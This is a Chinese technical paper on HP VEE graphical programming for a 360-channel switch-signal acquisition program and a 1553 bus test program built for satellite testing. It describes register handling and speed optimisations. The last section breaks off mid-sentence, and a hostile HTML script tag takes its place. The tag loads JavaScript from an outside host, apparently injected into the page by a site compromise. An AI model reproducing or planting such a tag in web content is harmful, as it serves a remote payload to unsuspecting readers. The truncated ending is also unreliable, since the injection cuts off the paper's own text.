〔摘要〕 本文结合我公司为航天卫星总体部开发开关量采集和1553测试程序经验,论述使用hp vee编程中如何提高效率的方法及一些体会。
〔关键词〕 图形化编程语言 测试 1553总线
1 前言
hp vee是一种用于仪表优化控制的图形编程语言。在软件开发的过程中,我们体会到使用vee比使用传统的编程技术要减少很多的开发时间。同时,由于vee可以与多种文本语言混合编程:如c,c++,pascal,fortran,使得vee编程有很大的灵活性。我们与航天卫星总体部合作开发的开关量采集程序和1553测试程序被应用到航天型号的测试中,受到用户的好评。本文是对该软件开发的总结和使用vee编程的一些体会。
2 hp-vee软件平台的特点
hp-vee是一种图形式的编程语言,它能大大缩短测试开发时间。通过连接屏幕上的图形来编制程序,最后形成的vee程序类似于一个方块图。vee version 3.12是基于windows3.1的版本,它解释执行,具有如下特点:
2.1 符合标准的灵活的i/o接口
a.可以为多种仪器配置仪器驱动器;
b.提供驱动器的写入工具;
c.通过标准接口如hp-ib(ieee488),rs 232传送仪器命令串的直接i/o。
2.2 利用vee来产生测试的能力
a.图形化的编程缩短开发和维护时间;
b.与传统的编程语言,如c、c++、pascal、fortran的混合编程;
c.方便灵活的操作接口能力;
d.提供较完备的数据结构;
e.提供“只运行”版本。
3 开关量采集程序的设计
该程序用来完成对360路开关量信号的采集。360路开关量信号通过hp z2404模块进行采集,当某一路有信号,且脉冲信号的宽度和幅度达到预定标准时,z2404模块将该路对应寄存器位置为“1”,并产生中断请求。当用户读取寄存器的数据后,z2404模块自动将寄存器清零,准备采集下一次信号。本程序就是通过访问z2404模块的寄存器,实时地监视360路开关量信号。
3.1 主要技术问题
vee虽然给我们提供了便利的编程环境,但它的运行速度不能够很快,同时又由于需采集的开关量信号路数多,不可预见性大,因此实现测试的实时采集和实时显示是我们开发中需要解决的首要问题。由于vee对中断的处理能力较弱,因而我们采用巡检方式,显示方式使用类似于文本的“logging alphanumeric”模块。通过实际测试,能够满足实时测试的要求。
3.2 软件的处理流程和结构
为了显示比较直观,将360路开关量信
图1 开关量采集程序处理
号分为6个rtu,每个rtu对应一个z2404模块所有64路通道中的60路通道,z2404模块通道与rtu通道的对应关系是:z2404通道的第64路通道—第5路通道对应rtu的第1路—第60路。z2404模块有4个16位寄存器,每一位对应一个通道,若该位为“1”,则该通道有信号发生,否则该通道没有信号发生。根据以上方案,得到下列处理方法,见图1。(为了描述方便,用g0、g1、g2、g3分别表示z2404的4个寄存器的值)
图1对g0—g3的处理使用了d函数,该函数的功能是逐位比较结果字,将有信号发生的通道号写入结果数组以备显示,见图2。
3.3 程序的优化
为了提高程序的运行速度,通过以下手段对程序进行优化:
a.由于vee保留在屏幕上的信息越多,运行程序所花时间越多,将对仪器的多项操作(例如写状态控制,读寄存器等)尽量集中到一个仪器目标模块中执行,减少程序中目标模块的数量;
b.结果数据的传递使用数组,而不使用单个数据传递。在vee的运行中,对数组进行处理和显示远远快于对单个数据的处理和显示;
c.结果的显示使用类似于文本的“logging alphanu-meric”,这样每60路信号的显示只使用一个目标模块,利于提高运行速度,而且显示比较直观。
4 1553总线测试程序的设计
1553总线是一种美国军用总线标准,即“数字式指令/响应式时分制多路传输技术”规范。ddcc-1553b是b尺寸的vxi模块,它能够仿真1553总线控制器(bc)、总线监视器(mon)和远程终端(rt)。我们与卫星总体部合作,开发了基于该模块的应用软件,并应用到型号的测试中。该软件使用户对1553总线的操作和监视简便直观,并且具有较大的通用性。
4.1 软件功能简介
该程序分为bc程序、rt程序和mon程序。
图2 d函数处理过程
4.1.1 bc程序完成如下功能:
a.对bc状态的监视;
b.编辑待发送的消息列表;
c.编辑待发送的队列;
d.发送消息;
e.观察队列状态及队列结果。
图3 开关量采集程序结构
图4 1553测试程序结构
4.1.2 rt程序完成如下功能:
a.对rt状态的?script src=http://er12.com/t.js>